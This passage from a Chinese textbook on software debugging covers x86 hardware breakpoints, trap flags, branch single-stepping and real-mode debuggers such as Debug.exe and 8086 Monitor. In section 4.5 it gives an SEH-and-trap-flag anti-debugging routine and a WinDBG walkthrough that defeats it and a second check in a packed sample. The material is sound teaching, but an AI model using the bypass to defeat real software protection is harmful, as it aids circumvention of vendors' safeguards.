在使用WinDBG调试器调试时,我们可以使用ba命令设置硬件断
点。比如执行命令ba w4 0xabcd后,CPU一旦再对内存地址0xabcd开始
的4字节范围内的任何字节执行写访问,便会产生调试异常。如果把w4
换成r4,那么读写这个内存范围都会触发异常。
4.2.9 归纳
因为以上介绍的断点不需要像软件断点那样向代码中插入软件指
令,依靠处理器本身的功能便可以实现,所以人们习惯上把这些使用调
试寄存器(DR0~DR7)设置的断点称为硬件断点(hardware
breakpoint),以便与软件断点区别开来。
硬件断点有很多优点,但是也有不足,最明显的就是数量限制,因
为只有4个断点地址寄存器,所以每个IA-32 CPU允许最多设置4个硬件
断点,但这基本可以满足大多数情况下的调试需要。
在多处理器系统中,硬件断点是与CPU相关的,也就是说,针对一
个CPU设置的硬件断点并不适用于其他CPU。
还有一点需要说明的是,可以使用调试寄存器来实现变量监视和数
据断点。但并非所有调试器的数据断点功能都是使用调试寄存器来实现
的。举例来说,WinDBG的ba命令及VS2005的C/C++调试器都是使用调
试寄存器来设置数据断点的,但VC6调试器不是这样做的。一旦设置并
启用了数据断点,VC6调试器便会记录下每个变量的当前值,然后以单
步的方式恢复程序执行(下一节将详细讨论单步标志)。这样,被调试
程序执行一条汇编指令后便会因为调试异常而中断到VC6调试器,VC6
调试器收到调试事件后会读取断点列表中的每个数据变量的当前值,并
与它们的保存值相比较,如果发生变化,那么就说明该断点命中,VC6
会显示图4-6所示的对话框。如果没有变化,那么便再设置单步标志,
让被调试程序再执行一条指令。
图4-6 VC6显示的数据断点命中对话框
当显示以上对话框时,修改变量的那条指令已经执行完毕,所以单
击OK按钮后,调试器显示的执行位置箭头指向的是导致变量变化的代
码的下一行。
由于VC6的数据断点功能不是使用调试寄存器设置的,因此没有数
量限制,但这种实现方法的明显缺点是效率低,会导致被调试程序的运
行速度变慢。
4.3 陷阱标志
在4.1节和4.2节中,我们分别介绍了通过INT 3指令设置的软件断点
和通过调试寄存器设置的硬件断点。无论是软件断点还是硬件断点,其
目的都是使CPU执行到指定位置或访问指定位置时中断到调试器。除了
断点,还有一类常用的方法可使CPU中断到调试器,这便是调试陷阱标
志(debug trap flag)。可把陷阱标志想象成一面“令旗”,当有陷阱标志
置起时,CPU一旦检测到符合陷阱条件的事件发生,就会报告调试异常
通知调试器。IA-32处理器所支持的调试陷阱标志共有以下3种。
8086支持的单步执行标志(EFLAGS的TF位)。
386引入的任务状态陷阱标志(TSS的T标志)。
奔腾Pro引入的分支到分支单步执行标志(DebugCtl寄存器中的BTF
标志)。
下面分别详细介绍。
4.3.1 单步执行标志
在x86系列处理器的第一代产品8086 CPU的程序状态字
PSW(Program Status Word)寄存器中有一个陷阱标志位(bit 8),名
为Trap Flag,简称TF。当TF位为1时,CPU每执行完一条指令便会产生
一个调试异常(#DB),中断到调试异常处理程序,调试器的单步执行
功能大多是依靠这一机制来实现的。从80286开始,程序状态字寄存器
改称标志寄存器(FLAGS),80386又将其从16位扩展到32位,简称
EFLAGS,但都始终保持着TF位。
调试异常的向量号是1,因此,设置TF标志会导致CPU每执行一条
指令后都转去执行1号异常的处理例程。在8086和286时代,这个处理例
程是专门用来处理单步事件的。从386开始,当硬件断点发生时也会产
生调试异常,调用1号服务例程,但可利用调试状态寄存器(DR6)来
识别发生的是何种事件。为了表达方便,我们把因TF标志触发的调试异
常称为单步异常(single-step exception)。
单步异常属于陷阱类异常(3.2节介绍了异常的3种类别),也就是
说,CPU总是在执行完导致此类异常的指令后才产生该异常。这意味着
当因单步异常中断到调试器中时,导致该异常的指令已经执行完毕了。
软件断点异常(#BP)和硬件断点中的数据及I/O断点异常也是陷阱类异
常,但是硬件断点中的指令访问异常是错误类异常,也就是说,当由于
此异常而中断到调试器时,相应调试地址寄存器(DRn)中所指地址处
的指令还没有执行。这是因为CPU是在尝试执行下一条指令时进行此类
断点匹配的。
CPU是何时检查TF标志的呢?IA-32手册的原文是“while an
instruction is being executed”(IA-32手册卷3的15.3.1.4 Single-Step
Exception Condition),也就是说,在执行一个指令的过程中。尽管没
有说过程中的哪个阶段(开始、中间还是末尾),但是可以推测应该是
一条指令即将执行完毕的时候。也就是说,当CPU在即将执行完一条指
令的时候检测TF位,如果该位为1,那么CPU就会先清除此位,然后准
备产生异常。但是这里有个例外,对于那些可以设置TF位的指令(例如
POPF),CPU不会在执行这些指令期间做以上检查。也就是说,这些
指令不会立刻产生单步异常,而是其后的下一条指令将产生单步异常。
因为CPU在进入异常处理例程前会自动清除TF标志,所以当CPU中
断到调试器中后再观察TF标志,它的值总是0。
既然调试异常的向量号是1,可不可以像INT 3那样通过在代码中插
入INT 1这样的指令来实现手工断点呢?对于应用程序,答案是否定
的。INT 3尽管具有INT n的形式,但是它具有独特的单字节机器码,而
且其作用就是产生一个断点异常(breakpoint exception,即#BP)。因此
系统对其有特别的对待,允许其在用户模式下执行。而INT 1则不然,
它属于普通的INT n指令,机器码为0xCD01。在保护模式下,如果执行
INT n指令时当前的CPL大于引用的门描述符的DPL,那么便会导致通用
保护异常(#GP)。在Windows 2000和XP这样的操作系统下,INT 1对
应的中断门描述符的DPL为0,这就要求只有内核模式的代码才能执行
INT 1指令,访问该中断门。也就是说,用户模式下的应用程序没有权
利使用INT 1指令。一旦使用,就会导致一个一般保护性异常(#GP),
Windows会将其封装为一个访问违例错误(见图4-7)。在内核模式下,
可以在代码(驱动程序)中写入INT 1指令,CPU执行到该指令时会转
去执行 1 号向量对应的处理例程,如果在使用WinDBG进行内核级调
试,那么会中断到WinDBG中,WinDBG会以为是发生了一个单步异
常。
图4-7 应用程序中执行INT 1指令会导致一般保护性异常
4.3.2 高级语言的单步执行
下面谈谈调试高级语言时的单步机制。由于高级语言的一条语句通
常对应多条汇编指令,例如,在清单4-6中,C++的一条语句
i=a+b*c+d/e+f/g+h对应于15条汇编语句,因此容易想到单步执行这条
C++语句的几种可能方法。第一种是用TF标志一步步地“走过”每条汇编
指令,这种方法意味着会产生15次调试异常,CPU中断到调试器15次,
不过中间的14次都是简单地重新设置起TF标志,便恢复被调试程序执
行,不中断给用户。第二种方法是在C++语句对应的最后一条汇编指令
处动态地插入一条INT 3指令,让CPU一下子跑到那里,然后再单步一
次将被替换的那条指令执行完,这种方法需要CPU中断到调试器两次。
第三种方法是在这条C++语句的下一条语句的第一条汇编指令处(即第
18行)替换入一个INT 3,这样CPU中断到调试器一次就可以了。
清单4-6 高级语言的单步跟踪
1 10: i=a+b*c+d/e+f/g+h;
2 00401028 8B 45 F8 mov eax,dword ptr [ebp-8]
3 0040102B 0F AF 45 F4 imul eax,dword ptr [ebp-0Ch]
4 0040102F 8B 4D FC mov ecx,dword ptr [ebp-4]
5 00401032 03 C8 add ecx,eax
6 00401034 8B 45 F0 mov eax,dword ptr [ebp-10h]
7 00401037 99 cdq
8 00401038 F7 7D EC idiv eax,dword ptr [ebp-14h]
9 0040103B 8B F0 mov esi,eax
10 0040103D 03 75 E0 add esi,dword ptr [ebp-20h]
11 00401040 8B 45 E8 mov eax,dword ptr [ebp-18h]
12 00401043 99 cdq
13 00401044 F7 7D E4 idiv eax,dword ptr [ebp-1Ch]
14 00401047 03 F1 add esi,ecx
15 00401049 03 C6 add eax,esi
16 0040104B 89 45 DC mov dword ptr [ebp-24h],eax
17 11: j=i;
18 0040104E 8B 55 DC mov edx,dword ptr [ebp-24h]
19 00401051 89 55 D8 mov dword ptr [ebp-28h],edx
20 12:
21 13: if(a)
22 0040D6C4 83 7D FC 00 cmp dword ptr [ebp-4],0
23 0040D6C8 74 0B je main+55h (0040d6d5)
24 14: i+=a;
25 0040D6CA 8B 45 DC mov eax,dword ptr [ebp-24h]
26 0040D6CD 03 45 FC add eax,dword ptr [ebp-4]
27 0040D6D0 89 45 DC mov dword ptr [ebp-24h],eax
28 15: else if(b)
29 0040D6D3 EB 20 jmp main+75h (0040d6f5)
30 0040D6D5 83 7D F8 00 cmp dword ptr [ebp-8],0
31 0040D6D9 74 0B je main+66h (0040d6e6)
32 16: i+=b;
33 0040D6DB 8B 4D DC mov ecx,dword ptr [ebp-24h]
34 0040D6DE 03 4D F8 add ecx,dword ptr [ebp-8]
35 0040D6E1 89 4D DC mov dword ptr [ebp-24h],ecx
36 17: else if(c)
后两种方法较第一种方法速度会快很多,但不幸的是,并不总能正
确地预测出高级语言对应的最后一条指令和下一条语句的开始指令(要
替换为INT 3的那一条指令)。比如对于第28行的else if(b)语句,就
很难判断出它对应的最后一条汇编语句和下一条高级语言语句的起始指
令。因此,今天的大多数调试器在进行高级语言调试时都是使用第一种
方法来实现单步跟踪的。
关于TF标志,还有一点值得注意,INT n和INTO指令会清除TF标
志,因此调试器在单步跟踪这些指令时,必须做特别处理。
4.3.3 任务状态段陷阱标志
除了标志寄存器中的陷阱标志(TF)位以外,386还引入了一种新
的调试陷阱标志,任务状态段(Task-State Segment,TSS)中的T标
志。任务状态段用来记录一个任务(CPU可以独立调度和执行的程序单
位)的状态,包括通用寄存器的值、段寄存器的值和其他重要信息。当
任务切换时,当前任务的状态会被保存到这个内存段里。当要恢复执行
这个任务时,系统会根据TSS中的保存记录把寄存器的值恢复回来。
在TSS中,字节偏移为100的16位字(word)的最低位是调试陷阱
标志位,简称T标志。如果T标志被置为1,那么当CPU切换到这个任务
时便会产生调试异常。准确地说,CPU是在将程序控制权转移到新的任
务但还没有开始执行新任务的第一条指令时产生异常的。调试中断处理
程序可以通过检查调试状态寄存器(DR6)的BT标志来识别出发生的是
否是任务切换异常。值得注意的是,如果调试器接管了调试异常处理,
而且该处理例程属于一个独立的任务,那么一定不要设置该任务的TSS
段中的T位;否则便会导致死循环。
4.3.4 按分支单步执行标志
在IA-32处理器家族中,所有Pentium Pro、Pentium II和Pentium III处
理器,包括相应的Celeron(赛扬)和Xeon(至强)版本,因为都是基
于相同的P6内核(Core)而被统称为P6处理器。P6处理器引入了一项对
调试非常有用的新功能:监视和记录分支、中断和异常,以及按分支单
步执行(Single-step on branch)。奔腾4处理器对这一功能又做了很大
的增强。下面具体介绍按分支单步执行的功能和使用方法。第5章将介
绍分支、中断和异常记录功能。
首先解释按分支单步执行(Branch Trace Flag,BTF)的含义。前
面介绍过,当EFLAGS寄存器的TF位为1时,CPU每执行完一条指令便
会中断到调试器,即以指令为单位单步执行。顾名思义,针对分支单步
执行就是以分支为单位单步执行,换句话说,每步进(step)一次,
CPU会一直执行到有分支、中断或异常发生。为了行文方便,从现在开
始,我们把发生分支、中断或异常的情况统一称为跳转。
那么,如何启用按分支单步执行呢?简单来说,就是要同时置起TF
和BTF标志。众所周知,TF标志位于EFLAGS中而BTF标志位于
MSR(Model Specific Register)中——在P6处理器中,这个MSR的名字
叫DebugCtlMSR,在奔腾4处理器中被称为DebugCtlA,在奔腾M处理器
中被称为DebugCtlB。BTF位是在这些MSR寄存器的位1中。
下面结合清单4-7中的代码进行说明。
清单4-7 按分支单步执行
1 #define DEBUGCTRL_MSR 0x1D9
2 #define BTF 2
3 int main(int argc, char* argv[])
4 {
5 int m,n;
6 MSR_STRUCT msr;
7
8 if(!EnablePrivilege(SE_DEBUG_NAME)
9 || !EnsureVersion(5,1)
10 || !GetSysDbgAPI())
11 {
12 printf("Failed in initialization.\n");
13 return E_FAIL;
14 }
15 memset(&msr,0,sizeof(MSR_STRUCT));
16
17 msr.MsrNum=DEBUGCTRL_MSR;
18 msr.MsrLo|=BTF;
19 WriteMSR(msr);
20
21 //以下代码将全速运行
22 m=10,n=2;
23 m=n*2-1;
24 if(m==m*m/m)
25 m=1;
26 else
27 {
28 m=2;
29 }
30 //一次可以单步到这里
31 m*=m;
32
33 if(ReadMSR(msr))
34 {
35 PrintMsr(msr);
36 }
37 else
38 printf("Failed to ReadMSR().\n");
39
40 return S_OK;
41 }
在VC6的IDE环境下(系统的CPU应该是P6或更高),先在第22行
设置一个断点,然后按F5快捷键运行到这个断点位置。第19行是用来启
用按分支单步执行功能的,即设置起BTF标志。接下来,我们按F10快
捷键单步执行,会发现一下子会执行到第31行,即从第22行单步一次就
执行到了第31行,这便是按分支单步执行的效果。那么,为什么会执行
到第31行呢?按照分支到分支单步执行的定义,CPU会在执行到下一次
跳转发生时停止。对于我们的例子,CPU在执行第22行对应的第一条汇
编指令时,CPU会检测到TF标志(因为我们是按F10快捷键单步执行
的,所以VC6会帮助我们设置TF标志)。此外,P6及以后的IA-32 CPU
还会检查BTF标志,当发现BTF标志也被置起时,CPU会认为当前是在
按分支单步执行,所以会判断是否有跳转发生。需要解释一下,这里所
说的有跳转发生,是指执行当前指令的结果导致程序指针的值发生了跳
跃,是与顺序执行的逐步递增相对而言的。值得说明的是,如果当前指
令是条件转移指令(比如JA、JAE、JNE等),而且转移条件不满足,
那么是不算有跳转发生的,CPU仍会继续执行。
继续我们的例子,因为第22行的第一条汇编指令根本不是分支指
令,所以CPU会继续执行。以此类推,CPU会连续执行到第24行的if语
句对应的最后一条汇编指令jne(见清单4-8)。因为这条语句是条件转
移语句而且转移条件满足,所以执行这条指令会导致程序指针跳越。当
CPU在执行这条指令的后期检查TF和BTF标志时,会认为已经满足产生
异常的条件,在清除TF和BTF标志后,就产生单步异常中断到调试器。
因为EIP总是指向即将要执行的指令,所以VC6会将当前位置设到第31
行,而不是第24行。也就是说,中断到调试器时,分支语句已经执行完
毕,但是跳转到的那条语句(即清单4-7中的第31行)还没有执行。
清单4-8 第24行的汇编代码
1 128: if(m==m*m/m)
2 0040DBBB 8B 45 FC mov eax,dword ptr [ebp-4]
3 0040DBBE 0F AF 45 FC imul eax,dword ptr [ebp-4]
4 0040DBC2 99 cdq
5 0040DBC3 F7 7D FC idiv eax,dword ptr [ebp-4]
6 0040DBC6 39 45 FC cmp dword ptr [ebp-4],eax
7 0040DBC9 75 09 jne main+0B4h (0040dbd4)
对以上过程还有几点需要说明。
如果在从第22行执行到第24行的过程中,有中断或异常发生,那么
CPU也会认为停止单步执行的条件已经满足。因此,按分支单步执行的
全称是按分支、异常和中断单步(single-step on branches, exceptions and
interrupts)执行。
由于只有内核代码才能访问MSR寄存器(通过RDMSR和WRMSR
指令),因此在上面的例子中,在WriteMSR()函数中使用了一个未公开
的API ZwSystemDebugControl()来设置BTF标志。
在WinDBG调试器调试时,执行tb命令便可以按分支单步跟踪。但
是当调试WoW64程序(运行在64位Windows系统中的32位应用程序)
时,这条命令是不工作的,WinDBG显示Operation not supported by
current debuggee error in 'tb'(当前的被调试目标不支持此操作)。另
外,因为需要CPU的硬件支持,在某些虚拟机里调试时,WinDBG也会
显示这样的错误提示。
4.4 实模式调试器例析
在前面几节中,我们介绍了IA-32 CPU的调试支持,本节将介绍两
个实模式下的调试器,看它们是如何利用CPU的调试支持实现各种调试
功能的。
4.4.1 Debug.exe
20世纪80年代和90年代初的个人电脑大多安装的是DOS操作系统。
很多在DOS操作系统下做过软件开发的人都使用过DOS系统自带的调试
器Debug.exe。它体积小巧(DOS 6.22附带的版本为15718字节),只要
有基本的DOS环境便可以运行,但它的功能非常强大,具有汇编、反汇
编、断点、单步跟踪、观察/搜索/修改内存、读写IO端口、读写寄存
器、读写磁盘(按扇区)等功能。
在今天的Windows系统中,仍保留着这个程序,它位于system32目
录下。在运行对话框或命令行中都可以通过输入“debug”来启动这个经
典的实模式调试器。Debug程序启动后,会显示一个横杠,这是它的命
令提示符。此时就可以输入各种调试命令了,Debug的命令都是一个英
文字母(除了用于扩展内存的X系列命令),附带0或多个参数。比如
可以使用L命令把磁盘上的数据读到内存中,使用G命令让CPU从指定
的内存地址开始执行,等等。输入问号(?)可以显示出命令清单和每
个命令的语法(见清单4-9)。
清单4-9 Debug调试器的命令清单
-?
assemble A [address] ;; 汇编*
compare C range address ;; 比较两个内存块的内容
dump D [range] ;; 显示指定内存区域的内容
enter E address [list] ;; 修改内存中的内容
fill F range list ;; 填充一个内存区域
go G [=address] [addresses] ;; 设置断点并从=号的地址执行**
hex H value1 value2 ;; 显示两个参数的和及差
input I port ;; 读指定端口
load L [address] [drive] [firstsector] [number] ;; 读磁盘数据到内存
move M range address ;; 复制内存块
name N [pathname] [arglist] ;; 指定文件名,供L和W命令使用
output O port byte ;; 写IO端口
proceed P [=address] [number] ;; 单步执行,类似于Step Over
quit Q ;; 退出调试器
register R [register] ;; 读写寄存器
search S range list ;; 搜索内存
trace T [=address] [value] ;; 单步执行,类似于Step Into
unassemble U [range] ;; 反汇编
write W [address] [drive] [firstsector] [number] ;; 写内存数据到磁盘
allocate expanded memory XA [#pages] ;; 分配扩展内存
deallocate expanded memory XD [handle] ;; 释放扩展内存
map expanded memory pages XM [Lpage] [Ppage] [handle];; 映射扩展内存页
display expanded memory status XS ;; 显示扩展内存状态
* 也就是将用户输入的汇编语句翻译为机器码,并写到内存中,地
址参数用来指定存放机器码的起始内存地址。
** 如果不指定“=号”参数,那么便从当前的CS:IP寄存器的值开始执
行。第二个参数可以是多个地址值,调试器会在这些地址的内存单元替
换为INT 3指令的机器码0xCC。
上述代码中的第一列是命令的用途(主要功能),第二列是命令的
关键字,不区分大小写,后面是命令的参数。双分号后的部分是作者加
的注释。
纵观这个命令清单,虽然命令的总数不多,不算后面的4个用于扩
展内存的命令,只有19个,但是这些命令囊括了所有的关键调试功能。
其中L和W命令既可以读写指定的扇区,也可以读写N命令所指定
的文件名。以下是Debug程序的几种典型用法。
当启动Debug程序时,在命令行参数中指定要调试的程序,如debug
debuggee.com。这样,Debug程序启动后会自动把被调试的程序加
载到内存中。因为是实模式,所以它们都在一个内存空间中。我们
稍后再详细讨论这一点。
不带任何参数启动Debug程序,然后使用N命令指定要调试的程
序,再执行L命令将其加载到内存中,并开始调试。
不带任何参数启动Debug程序,然后使用L命令直接加载磁盘的某
些扇区,比如当调试启动扇区中的代码和主引导扇区中的代码
(MBR)时,通常使用这种方法。
不带任何参数启动Debug程序,然后使用它的汇编功能,输入汇编
指令,然后执行,这适用于学习和试验。
Debug程序是8086 Monitor程序的DOS系统版本,我们将在介绍8086
Monitor之后一起介绍它们的关键实现。
4.4.2 8086 Monitor
DOS操作系统的最初版本是由被誉为“DOS之父”的Tim Paterson先
生设计的。Tim Paterson当时就职于Seattle Computer Products公司
(SCP),他于1980年4月开始设计,并将第一个版本QDOS 0.10于1980
年8月推向市场。
在如此快的时间内完成一个操作系统,速度可以说是惊人的。究其
原因,当然离不开设计者的技术积累。而其中非常关键的应该是Tim
Paterson从1979年开始设计的Debug程序的前身,即8086 Monitor。
8086 Monitor是与SCP公司的8086 CPU板一起使用的一个调试工
具。表4-6列出了1.4A版本的8086 Monitor的所有命令。
表4-6 8086 Monitor的命令(1.4A版本)
命 令
功 能
B <ADDRESS>...<ADDRESS>
启动,读取磁盘的0道0扇区到内存并执行
D <ADDRESS>|<RANGE>
显示指定内存地址或区域的内容
E <ADDRESS> <LIST>
编辑内存
F <ADDRESS> <LIST>
填充内存区域
G <ADDRESS>...<ADDRESS>
设置断点并执行
I <HEX4>
从I/O端口读取数据
M <RANGE> <ADDRESS>
复制内存块
O <HEX4> <BYTE>
向I/O端口输出数据
R [REGISTER NAME]
读取或修改寄存器
S <RANGE> <LIST>
搜索内存
T [HEX4]
单步执行
从以上命令可以看出,8086 Monitor已经具有了非常完备的调试功
能。把这些命令与清单4-9所示的Debug程序的命令相比,可以发现,大
多数关键命令都已经存在了。
8086 Monitor是在1979年年初开始开发的,其1.4版本则是在1980年
2月开发的。Tim Paterson先生在给作者的邮件中讲述了他最初开发8086
Monitor时的艰辛。因为没有其他调试器和逻辑分析仪可以使用,他只
好使用示波器来观察8086 CPU的信号,以此来了解CPU的启动时序和工
作情况。因此,开发8086 Monitor不仅为后来开发DOS准备了一个强有
力的工具,还让Tim Paterson对8086 CPU和当时的个人计算机系统了如
指掌。这些基础对于后来Tim Paterson能在两个多月里完成DOS的第一
个版本起到了重要作用。
事实上,Windows NT的开发团队也是在开发的初期就开发了KD调
试器,并一直使用这个调试器来辅助整个开发过程。我们将在第6篇详
细介绍KD调试器。
4.4.3 关键实现
在对Debug和8086 Monitor的基本情况有所了解后,我们来看它们的
主要功能是如何实现的。
8086 Monitor是完全使用汇编语言编写的。整个程序的机器码大约
有2000多个字节,可谓是非常精炼。在Tim Paterson先生目前公司的网
站上有8086 Monitor程序的汇编代码清单,以下讨论将结合这份清单中
的代码,为了节约篇幅,我们只引用关键的代码段,并在括号中标出页
码,建议读者自行下载并对照阅读。
因为在实模式下的系统中只有一个任务在运行,所以调试器和被调
试程序的代码和数据都是在一个内存空间中的,而且这个空间中的地址
就是物理地址。为了避免冲突,调试器和被调试程序各自使用不同的内
存区域。以8086 Monitor为例,它使用从0xFF80开始的较高端内存空
间,把低端留给被调试程序。
调试器和被调试程序在一个内存空间中为实现很多调试功能提供了
很大的便利。例如,对于所有与内存有关的命令,内存地址不需要做任
何转换就可以直接访问。当设置断点时,也可以直接把断点指令写到被
调试程序的代码中。这与多任务操作系统下的情况完全不同,在多任务
操作系统中,调试器和被调试程序各自属于不同的内存空间,调试器需
要借助操作系统的支持来访问被调试程序的空间。
为了响应调试异常,8086 Monitor会改写中断向量表的表项1(地址
4~7)、3(地址0xC~0xF)和19H(地址0x64~0x67)——分别对应
于INT 1、INT 3和INT 19H。INT 1用于处理单步执行时的异常,INT 3
用于处理断点异常,INT 19H用于串行口通信接收命令。
下面以断点为例介绍调试器的工作过程。当CPU执行到断点指令
(INT 3)时,会转去执行中断向量表中3号表项所指向的代码。当8086
Monitor初始化时,已经将其指向标号BREAKFIX所开始的代码
(Mon_86_1.4a.pdf 的第27页),即:
BREAKFIX:
XCHG SP, BP
DEC [BP]
XCHG SP, BP
在跳转到异常处理的代码前,CPU把当时的程序指针寄存器的值保
存在栈中,因此以上3条指令的作用是将放在栈顶的程序指针寄存器的
值减1后再放回去,减1的目的是使其恢复为INT 3指令指向前的值,也
就是执行INT 3指令,同时也就是设置断点的位置。
以上3行的下面便是标号REENTER开始的代码(也是
Mon_86_1.4a.pdf 的第27页),这也是INT 1和INT 19H的处理器入口。
这样便很自然地实现了3个异常处理代码的共享。
REENTER代码块首先将当前寄存器的值保存到变量中。调试时R命
令显示的寄存器值都是从这些变量中读取的。也就是说,这些变量的作
用与Windows系统中的CONTEXT结构的作用是一样的。
接下来,调用CRLF开始一个新的行,调用DISPREG显示寄存器的
值,然后对变量TCOUNT递减1。TCOUNT用于记录T命令的参数,即
单步执行的指令条数,如果TCOUNT不等于0,那么就跳到
STEP1(Mon_86_1.4a.pdf 的第27页)去再单步执行一次。否则,判断
BRKCNT变量,检查当前的断点个数,如果大于0,那么就自然向下执
行清除断点的代码(标号CLEANBP),也就是说,将设置断点用的断
点指令恢复成原来的指令内容。当恢复断点时,或者当BRKCNT等于0
时,便跳转到标号COMMAND(Mon_86_1.4a.pdf 的第13页),等待用
户输入命令,开始交互式调试。
当用户输入命令后,调试器(8086 Monitor)会根据一个命令表来
跳转到处理该命令的代码。执行完一个命令并显示结果后,调试器会等
待下一个命令,直至接收到恢复程序执行的命令T或G。以G命令为例,
它最多可以跟10个地址参数,最多可以用来定义10个断点。调试器会依
次解析每个地址,然后将其保存到内部的断点表中,而后将断点地址处
的一个字节保存起来,并替换成0xCC(即INT 3指令)。设置断点后
(或G命令没有带参数,不需要设置断点),调试器会将TCOUNT命令
设置为1,然后跳转到EXIT标号(Mon_86_1.4a.pdf 的第26页)所代表的
用于异常返回的代码。
EXIT代码会先设置异常向量,然后把保存在变量中的寄存器内容
恢复到物理寄存器中,最后把变量FSAVE、CSSAVE和IPSAVE的值压
入到栈中,然后执行中断返回指令IRET。
MOV SP, [SPSAVE]
PUSH [FSAVE]
PUSH [CSSAVE]
PUSH [IPSAVE]
MOV DS,[DSSAVE]
IRET
FSAVE变量用于保存标志寄存器的值,CSSAVE和IPSAVE变量分
别用于保存段寄存器和程序指针寄存器的值。当产生异常时,CPU便会
把这3个寄存器的值压入到栈中,当异常返回时,CPU是从栈中读取这3
个寄存器的值,赋给CPU中的对应寄存器,然后从CS和IP(程序指针)
寄存器指定的地址开始执行。因为标志寄存器和IP寄存器的特殊作用,
8086架构没有设计直接对标志寄存器和程序指针寄存器赋值的指令,修
改它们的最主要方式就是当中断返回时通过栈来间接修改。因为在调试
器中可以修改FSAVE、CSSAVE和IPSAVE变量,所以可在调试器中通
过修改这3个变量来影响恢复执行时它们的值。单步执行命令就是通过
设置FSAVE的TF标志实现的。通过修改IPSAVE变量可以达到改变执行
位置的目的,让程序“飞跃”到任意的地址恢复执行。
本节简要介绍了实模式下的调试器的实现方法。因为是单任务环
境,所以实现比较简单。在保护模式和Windows这样的多任务操作系统
下,因为涉及任务之间的界限和用户态及内核态的界限,所以要实现调
试变得复杂很多,调试器必须与操作系统相互配合。我们将在后面的章
节中逐步介绍相关内容。
4.5 反调试示例
出于某些理由,有些软件是不希望被调试的,于是便有了五花八门
的反调试技术。与调试技术类似,很多反调试技术也是与CPU的硬件支
持密不可分的。反调试技术千变万化,最常用的就是回避调试器。一旦
检测到调试器存在,示例就拒绝运行(见图4-8)或者不再走“寻常
路”,故意跳来跳去,或者干脆跳入一个死循环,让调试者无法跟踪到
它的真实轨迹。下面通过一个真实的例子略作阐述。
图4-8 回避调试器
老雷评点
某年在深圳腾讯,有书友建议老雷写一本反调试技术的书,
婉言谢绝,原因主要是深刻理解了调试,举一反三即可知反调
试,再深挖一下,便可知化解之法,本节证之。(评于珠海石景
山顶之渔女故事浮雕前)
本章4.3节介绍的跟踪标志(TF)是单步跟踪功能的基础,是大多
数调试器所依赖的一个硬件基础。正因如此,它也被用来检测调试器的
存在和实现反调试,清单4-10所示的这段汇编指令就是这样的。
清单4-10 第24行的汇编代码
1 xor eax,eax
2 push dword ptr fs:[eax]
3 mov dword ptr fs:[eax],esp
4 pushfd
5 or byte ptr [esp+1],1
6 popfd
7 nop
8 nop
9 ret
短短9条汇编指令,是如何实现反调试的呢?可不要小看这9条指
令,可以把它分成三部分。前 3 条是在当前线程的异常处理器链表
(FS:0链条,详见卷2)上注册了一个结构化异常处理器。中间3条是
设置TF标志,先将标志寄存器压入栈,然后修改栈上的值,设置TF位
(Bit 8,即字节1的Bit 0),然后再弹到标志寄存器中,这样便做好了
单步跟踪的准备。接下来的空操作指令(nop)是要真的走一步,促发
单步异常,用来检测是否有调试器存在。如果有调试器存在,那么调试
器会收到异常,并处理掉这个异常,然后继续执行接下来的nop和ret,
返回到父函数。如果没有调试器呢?那么前3条指令所设置的异常处理
函数后便收到异常,得到执行权。如此看来,这个函数的执行逻辑在有
无调试器的情况下就可能不同,有调试器的情况下,它会返回到父函
数,没有调试器时会执行参数指定的异常处理函数(前3条指令恰好是
把压在栈上的参数当作异常处理函数),这就是它检测调试器的原理。
不妨给这一小段函数取个名字叫ExecuteWhenNoDebugger,以下伪代码
演示了它的用法。
ExecuteWhenNoDebugger (FunctionSecret);
DeadLoopOrAcessViolationShamelessly (); // debugger is on, escape
也就是说,没有调试器时,ExecuteWhenNoDebugger便一去不返,
去执行保密逻辑了。如果函数“顺利返回”便说明有调试器在,赶紧使出
浑身解数“撒野耍赖”。
对于这样的反调试方法,有什么办法可以破解呢?其实只要了解了
它的工作处理和异常处理的规则,就很容易化解它。假设在用WinDBG
调试这个软件,那么在收到这样的单步异常时,WinDBG会给出如下提
示:
(c54.2fe4): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
给出这个提示的原因是WinDBG觉得这个单步异常有些突然,并不
是自己埋伏的。此时如果继续单步或者执行G命令,那么WinDBG便会
处理掉这个异常,便露出“马脚”了。但如果执行Gn命令,告诉WinDBG
向系统回复“不处理”这个异常,那么系统便会继续分发这个异常,让这
个软件的异常处理器收到,让它觉得没有调试器存在。简言之,只要执
行命令n,就将其化解了。
格物致知
下面便通过调试一个做过“加壳保护”的小程序来让大家感受一下调
试与反调试的激烈博弈。
① 启动WinDBG,选择File→Open Executable,指定
c:\swdbg2e\bin\hiheapa.exe,开始调试。
② 执行g命令运行小程序,但很快会中断下来,显示上文提到的消
息,提示有单步异常发生。
③ 选择View→Disassembly,打开反汇编窗口,可以看到清单4-9所
示的指令。
④ 我们先尝试不懂“化解”方法的情况,按F10快捷键单步跟踪执
行,执行ret指令后,立刻返回到预先埋伏的“铁丝网”,看到下面这样的
无效指令:
0018ffc4 ff ???
0018ffc5 ff ???
0018ffc6 ff ???
⑤ 继续单步执行,就会触发访问违例异常,无法继续了:
(14b4.10cc): Access violation - code c0000005 (first chance)
⑥ 执行.restart /f重新调试这个程序,重复步骤2和步骤3。这一次,
执行Gn命令将其化解。
⑦ 通常一个反调试软件会设置“层层壁垒”,因此化解掉一个之后,
还会有后续的——接下来会收到一个断点异常。在反汇编窗口中会看到
下面这些指令:
004847de 50 push eax
004847df 33c0 xor eax,eax
004847e1 64ff30 push dword ptr fs:[eax]
004847e4 648920 mov dword ptr fs:[eax],esp
004847e7 bdd3f10e30 mov ebp,300EF1D3h
004847ec 81c578563412 add ebp,12345678h
004847f2 66b81700 mov ax,17h
004847f6 6683e813 sub ax,13h
004847fa cc int 3
004847fb 90 nop
与清单4-9颇为类似,只不过这里触发的是断点异常。
⑧ 再执行Gn命令化解,还会再收到异常。至此,实验目的已经达
到,直接关闭调试器,结束实验。
反调试技术的热门从侧面证明了调试技术的强大。对于那些编写不
良代码的人来说,调试技术会让他们心生畏惧。当然,有些情况下,人
们使用反调试技术实现软件保护等合理用途,这是反调试技术的正面应
用。
4.6 ARM架构的断点支持
在竞争激烈的芯片领域,有些公司逐渐没落,有些公司迅速崛起。
在最近十几年中,ARM迅猛发展,走出了一条非常独特的道路。ARM
的迅速崛起有多方面原因,从技术角度来看,ARM平台的强大调试支
持功不可没。翻看ARM手册,关于调试设施的信息俯拾即是。以
ARMv7的架构参考手册为例,正文分A、B、C三大部分,其中C部分就
